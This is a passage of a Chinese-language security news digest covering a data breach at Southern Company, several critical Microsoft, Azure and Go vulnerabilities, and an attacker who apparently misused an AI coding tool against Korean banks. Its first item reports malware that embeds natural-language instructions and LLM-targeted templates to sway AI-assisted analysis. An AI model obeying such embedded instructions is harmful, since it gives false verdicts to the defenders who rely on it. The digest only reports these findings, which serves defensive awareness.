思科Talos威胁情报团队披露了CAIRN研究的新发现，指出恶意软件作者正在恶意代码中嵌入自然语言指令以欺骗AI辅助分析。该趋势被归类为“A3: AI-Analysis Evasion”。研究人员发现，包括模板喷洒针对特定大语言模型（LLM）在内的技术，在约35%的情况下会影响AI的判定。此外，MANTLEMAZE等恶意软件家族还滥用易受攻击的驱动程序从内核空间禁用端点检测与响应（EDR）系统。
|
||||
|
||||
来源：SecurityHub · 10-09 02:00（北京时间）
|
||||
|
||||
【二】数据泄露与隐私事件
|
||||
|
||||
数据泄露与隐私
|
||||
|
||||
南方公司称约40万客户账户信息遭未授权访问
|
||||
|
||||
南方公司通知约40万客户，其公用事业账户信息通过在线客户门户被未授权第三方访问。受影响账户中约30万属于佐治亚电力公司，约10万属于阿拉巴马电力公司。公司声明未获访问银行账户号、支付卡号或驾照号。
|
||||
|
||||
来源：SecurityWeek · 10-07 22:15（北京时间）
|
||||
|
||||
数据泄露与隐私
|
||||
|
||||
黑客利用Claude攻击韩国银行并泄露身份线索
|
||||
|
||||
CrowdStrike调查发现，一名涉嫌攻击至少九家韩国银行的黑客在利用Anthropic的Claude Code编程工具时，意外泄露了个人身份信息。调查指出嫌疑人可能是一名26岁的中国男性，位于广东省茂名市，使用开源工具ARTEX和DeepSeek模型进行攻击。韩国警方正在调查此事，但尚未确认具体责任人。
|
||||
|
||||
来源：canaltech · 10-09 01:59（北京时间）
|
||||
|
||||
【三】焦点漏洞与攻击预警
|
||||
|
||||
漏洞与攻击
|
||||
|
||||
微软合作伙伴中心存在权限提升漏洞
|
||||
|
||||
微软合作伙伴中心存在不当证书验证漏洞，允许未授权攻击者通过网络提升权限。该漏洞被标记为严重级别，CVSS评分为10.0。
|
||||
|
||||
来源：cvefeed · 10-09 07:17（北京时间）
|
||||
|
||||
漏洞与攻击
|
||||
|
||||
微软Bookings存在权限绕过漏洞
|
||||
|
||||
微软Bookings软件被发现存在一个严重漏洞（CVE-2026-94510），允许未经授权的攻击者通过用户可控的密钥绕过授权机制，从而在网络上提升权限。该漏洞的严重性被评定为9.9分（关键级）。
|
||||
|
||||
来源：cvefeed · 10-09 07:17（北京时间）
|
||||
|
||||
漏洞与攻击
|
||||
|
||||
微软Dataverse反序列化漏洞允许网络代码执行
|
||||
|
||||
微软Dataverse中存在一个严重漏洞（CVE-2026-88131），允许未经授权的攻击者通过网络执行代码。该漏洞涉及不受信任数据的反序列化，严重程度评分为9.8（严重）。目前尚未提及具体的利用情况。
|
||||
|
||||
来源：cvefeed · 10-09 07:17（北京时间）
|
||||
|
||||
漏洞与攻击
|
||||
|
||||
Azure App Service关键功能缺失认证导致代码执行
|
||||
|
||||
Azure App Service中存在一个严重漏洞（CVE-2026-77900），由于关键功能缺乏身份验证，允许未经授权的攻击者通过网络执行代码。该漏洞严重程度评分为9.8（严重）。目前未提及是否已被利用。
|
||||
|
||||
来源：cvefeed · 10-09 07:17（北京时间）
|
||||
|
||||
漏洞与攻击
|
||||
|
||||
cmd go 1.26.8/1.27.1 GOMODPROXY完整性校验缺陷
|
||||
|
||||
安全研究人员发现cmd go存在严重漏洞，影响版本至1.26.8和1.27.1。该漏洞涉及GOMODPROXY处理器组件，攻击者可通过远程操作导致完整性校验值验证不当。目前暂无公开利用程序。
|
||||
|
||||
来源：vuldb · 10-09 07:06（北京时间）
|
||||
|
||||
- - -
|
||||
|
||||
- 极客视角 · 洞悉暗流 -
|
||||
|
||||
Reference in new issue
Block a user